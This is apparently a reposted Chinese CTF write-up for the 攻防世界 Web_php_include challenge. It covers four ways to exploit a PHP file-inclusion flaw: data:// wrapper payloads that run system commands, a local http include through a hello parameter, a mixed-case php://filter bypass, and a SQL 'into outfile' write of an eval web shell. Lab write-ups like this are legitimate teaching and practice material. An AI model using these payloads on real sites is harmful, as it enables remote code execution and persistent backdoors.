攻防世界(Web_php_include)(示例代码)

栏目: php · 发布时间: 2021-03-04

来源:cnblogs.com

简介  这篇文章主要介绍了攻防世界(Web_php_include)(示例代码)以及相关的经验技巧,文章约2732字,浏览量368,点赞数7,值得参考!

题目叙述

题目场景如下:
技术图片
属于文件包含漏洞

解决

方法一

0x00
通过代码审计可以知道,存在文件包含漏洞,并且对伪协议php://进行了过滤。
发现根目录下存在phpinfo
观察phpinfo发现如下:
技术图片
这两个都为on
所以我们就可以使用data://伪协议
0x01
payload如下:

- ?page=data://text/plain,<?php system("ls")?>
- ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=    #base64编码
- ?page=data:text/plain,<?php system("ls")?>
- ?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=    #base64编码

上面的payload就可以实现命令执行了
找了半天发现flag在fl4gisisish3r3.php文件中
使用如下payload就可以获取flag了

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

使用该命令获取的flag被隐藏了,直接在web界面找不到,可以通过查看网页源代码查看
技术图片

方法二

0x00
代码审计可知,存在文件包含漏洞。
0x01
这里我们借助了hello参数
hello接收到数据直接输出
所以就可以构造如下payload:

?page=http://127.0.0.1/index.php/?hello=<?php system("ls")?>

但是什么都没得到,具体什么情况我也不清楚,继续构造

?page=http://127.0.0.1/index.php/?hello=<?system("ls")?>

此处也可以执行命令了
这次得到了如下结果:
技术图片
然后可以用如下

?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>

得到flag
技术图片

方法三

0x00
代码审计,可得存在文件包含漏洞,并且过滤php://伪协议,但是由代码可得我们可以进行绕过。
0x01
大小写绕过

?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

技术图片
对得到的结果进行base64解码即可

方法四

0x00
扫描目录
得到如下结果
技术图片
0x01
进入后台密码为空
查询是否可以写入shell
技术图片
可以写入
sql执行如下语句

select "<?php eval(@$_POST['c']); ?>"into outfile '/tmp/shell.php'

连接
技术图片
就可以获得shell,然后就可以去获取flag了。


以上就是本文的全部内容,希望对大家的学习有所帮助,版权归原作者或者来源机构所有,感谢作者,如果未能解决你的问题,请参考以下文章。

攻防世界-Misc-新手区(示例代码)

攻防世界 | CAT(示例代码)

攻防世界 ics-05(示例代码)

攻防世界WEB进阶之upload1(示例代码)

攻防世界 robots题(示例代码)